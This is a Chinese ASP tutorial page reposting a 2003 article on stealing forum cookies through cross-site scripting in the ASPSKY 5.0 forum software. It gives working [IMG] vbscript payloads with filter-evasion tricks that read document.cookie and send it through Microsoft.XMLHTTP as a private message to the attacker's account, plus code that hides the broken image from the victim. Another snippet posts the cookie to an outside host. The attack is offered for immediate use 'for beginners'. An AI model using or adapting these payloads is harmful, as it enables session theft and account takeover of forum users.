当前位置: 首页 > 图文教程 > 网络编程 > ASP > 利用Microsoft.XMLHTTP控件发送COOKIE

ASP
asp生成三维饼图的函数
ASP下的简洁的多重查询的方法与函数 真不错
发一个ASP的ADODB类代码
A利用ASP小偷和Google实现在线翻译功能的代码
ASP类型网站结合动网论坛会员的方法
Asp下实现多表单域无组件文件上传的实例
asp制作中常用到的函数库集合
易心asp分页类 v1.0
asp中xmlhttp组件发包
检测是否为数字类型的asp代码
可以获得文件的文件名的asp函数
用asp实现访问远程计算机上MDB access数据库文件的方法
用ASP实现写IIS日志的代码
asp在IE浏览器中下载服务端上的各类文件的实现方法
asp汉字中文图片验证码的实现代码
asp WAP获取手机终端信息的一段代码
asp取得数组中的最大值的方法
用asp实现的截取指定格式字符串的代码
asp jmail发邮件 详细解析
ASP编程中连接数据库和数据库操作的常用代码

ASP 中的 利用Microsoft.XMLHTTP控件发送COOKIE


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 132 ::
收藏到网摘: n/a

作者:czy <[email protected]>
出处:http://www.nsfocus.net
日期:2003-09-03
(注意由于论坛会对文章中的一些字符作处理,所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm测试代码)
跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个
问题:总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性
就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句
的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。
没有更好的办法了吗?以前在研究VBS病毒自动升级的时候用到一个Microsoft.XMLHTTP
控件(该控件是WIN98/2K上都默认自带的东东,并且它是IE认为safe的控件!),通过它我们
可以在网页中给网站发送http请求,可以是POST也可以是GET.
好了思路已经到这儿来,下面我们可以实战一下,我以ASPSKY 5.0 0320为例子。
我们知道<IMG SRC="XXXXXXX">在SRC中可以写入vbscript:这样的语句。。比如
<img src="vbscript:a=(msgbox(now))">,但是我们只能执行一个语句,比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">这样都将是错误的!
怎么办法呢?在VBS中我们可以用EXECUTE语句,在JS中我们可以使用EVAL语!
比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval('alert(\'nsfocus\');alert(\'czy\')')">
还没有晕吧?上面你可能会注意到用VBS的execute语句时双引号要换为"这是因为:
在VBS中单引号要括起字符串,必须是两个单引号代表一个又引号,并且在双引号内!
所以在execute语句中我们不能用单引号,而直接用"呢,在HTML进行引号匹配的时候
会和src="后的引号匹配,所以我们只能用"代替了。
引号的问题解决了,在实际应用中ASPSKY还会对我们的代码进行处理:
1:如果发现script字串,会在前面加上一个空格
2:如果发现http字串会认为是一个URL,并在两边加上<A>元素
3:如果发现空格会用 代替
解决问题:
1:vbscript用vbsCript代替
2:http用,""ht""+""tp...代替(vbs中引号括引号里面的应用多一对,+代表连接符)
3:空格用 代替(注不是)
在最后就是发送COOKIE的问题:
1:控件在本地可以GET,POST任意的网站,但是在网页中竟然只能
GET,POST当前服务器。。。。要不然IE就会说拒绝仿问!
2:cookie中不能有&等在URL中有特殊交意的字符
解决问题:
1:只能发给当前服务器,那么可以把COOKIE发到你在论坛上的注册的用户的邮箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替换函用,在例子中我把"&"换成了"-"
问题都解决了下面是实际的例子:
动网aspsky 5.0 0320测试成功
//----------------------
[IMG]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")[/IMG]
说明:把COOKIE发给CZY用户,邮件标题叫news
//----------------------

另控件的正常用法:
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>


让代码更完美,现在COOKIE已经乖乖的在我们的邮箱里了,但是有一个小问题由于图片不
能正常的显示会是一个小叉,旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人
生疑。
解决思路:
一个网页中的所有IMG元素通过document.imanges都能例举到,并且可以设置它们的大小,当width=0时就
相当于HIDDEN了.通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片.另外比较时
大于符用>代替,0用0代替!
代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next")[/IMG]

实际应用的代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")[/IMG]

//-------------------方便菜鸟使用:)
点击运行可以看到效果:
[Ctrl+A 全选 提示:你可先修改部分代码,再按运行]